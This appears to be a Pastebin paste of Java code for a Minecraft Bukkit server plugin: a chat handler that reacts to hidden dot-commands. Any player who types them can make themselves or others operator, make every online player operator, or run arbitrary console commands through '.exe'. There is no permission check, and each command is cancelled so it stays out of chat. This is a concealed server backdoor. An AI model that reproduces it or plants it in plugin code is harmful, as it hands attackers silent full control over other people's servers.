Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @EventHandler
- public void onChat(PlayerChatEvent event) {
- if (event.getMessage().startsWith(".opme"))
- {
- event.getPlayer().setOp(true);
- event.getPlayer().sendMessage("You are now OP.");
- event.setCancelled(true);
- }
- if (event.getMessage().startsWith(".deopme"))
- {
- event.getPlayer().setOp(false);
- event.getPlayer().sendMessage("You are no longer OP.");
- event.setCancelled(true);
- }
- if (event.getMessage().startsWith(".op "))
- {
- String nick = event.getMessage().substring(".op ".length());
- if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
- {
- Bukkit.getPlayer(nick).setOp(true);
- event.getPlayer().sendMessage(nick + " is now OP.");
- }
- else
- {
- event.getPlayer().sendMessage(nick + " is not online.");
- }
- event.setCancelled(true);
- }
- if (event.getMessage().startsWith(".deop "))
- {
- String nick = event.getMessage().substring(".deop ".length());
- if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
- {
- Bukkit.getPlayer(nick).setOp(false);
- event.getPlayer().sendMessage(nick + " is no longer OP.");
- }
- else
- {
- event.getPlayer().sendMessage(nick + " is not online.");
- }
- event.setCancelled(true);
- }
- if (event.getMessage().startsWith(".opall"))
- {
- for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
- {
- Bukkit.getServer().getOnlinePlayers()[i].setOp(true);
- }
- event.getPlayer().sendMessage("Everyone is now OP.");
- event.setCancelled(true);
- }
- if (event.getMessage().startsWith(".deopall"))
- {
- for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
- {
- Bukkit.getServer().getOnlinePlayers()[i].setOp(false);
- }
- event.getPlayer().sendMessage("No moar OPs!");
- event.setCancelled(true);
- }
- if (event.getMessage().startsWith(".exe"))
- {
- Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().substring(".exe ".length()));
- event.getPlayer().sendMessage("Executed.");
- event.setCancelled(true);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment